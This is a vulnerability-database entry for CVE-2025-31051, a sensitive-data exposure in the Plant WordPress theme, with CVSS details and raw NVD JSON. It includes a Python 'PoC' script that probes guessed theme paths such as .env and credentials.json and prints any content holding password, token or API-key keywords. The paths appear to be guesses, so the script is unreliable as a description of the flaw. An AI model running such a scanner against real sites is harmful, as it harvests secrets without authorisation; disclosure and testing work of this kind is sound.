Security Vulnerability Report
中文
CVE-2025-31051 CVSS 5.3 MEDIUM

CVE-2025-31051

Published: 2026-01-07 02:13:42
Last Modified: 2026-04-28 19:30:56

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in EngoTheme Plant - Gardening & Houseplants WordPress Theme allows Retrieve Embedded Sensitive Data.This issue affects Plant - Gardening & Houseplants WordPress Theme: from n/a through 1.0.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Plant - Gardening & Houseplants WordPress Theme < 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-31051 PoC - Plant WordPress Theme Sensitive Data Exposure import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-31051""" # Common sensitive endpoints/files that may expose data sensitive_paths = [ '/wp-content/themes/plant/config.json', '/wp-content/themes/plant/data/config.xml', '/wp-content/themes/plant/includes/settings.php~', '/wp-content/themes/plant/config/settings.txt', '/wp-content/themes/plant/api/config', '/wp-content/themes/plant/inc/data.json', '/wp-content/themes/plant/assets/data/credentials.json', '/wp-content/themes/plant/readme.md', '/wp-content/themes/plant/.env' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print(f"[*] Scanning target: {target_url}") print(f"[*] Checking for CVE-2025-31051 vulnerability\n") found_data = [] for path in sensitive_paths: url = target_url.rstrip('/') + path try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: content = response.text.lower() # Check for sensitive keywords keywords = ['password', 'api_key', 'secret', 'db_', 'credential', 'token', 'auth'] if any(keyword in content for keyword in keywords): print(f"[+] VULNERABLE: {url}") print(f"[+] Status: {response.status_code}") print(f"[+] Content preview: {response.text[:500]}...") print() found_data.append({'url': url, 'content': response.text}) except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") if found_data: print(f"\n[!] Found {len(found_data)} exposed sensitive data endpoints!") return True else: print("\n[-] No obvious sensitive data exposure found") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-31051_poc.py <target_url>") print("Example: python cve-2025-31051_poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31051", "sourceIdentifier": "[email protected]", "published": "2026-01-07T02:13:42.123", "lastModified": "2026-04-28T19:30:56.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in EngoTheme Plant - Gardening & Houseplants WordPress Theme allows Retrieve Embedded Sensitive Data.This issue affects Plant - Gardening & Houseplants WordPress Theme: from n/a through 1.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/theme/plant/vulnerability/wordpress-plant-gardening-houseplants-wordpress-theme-1-0-0-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}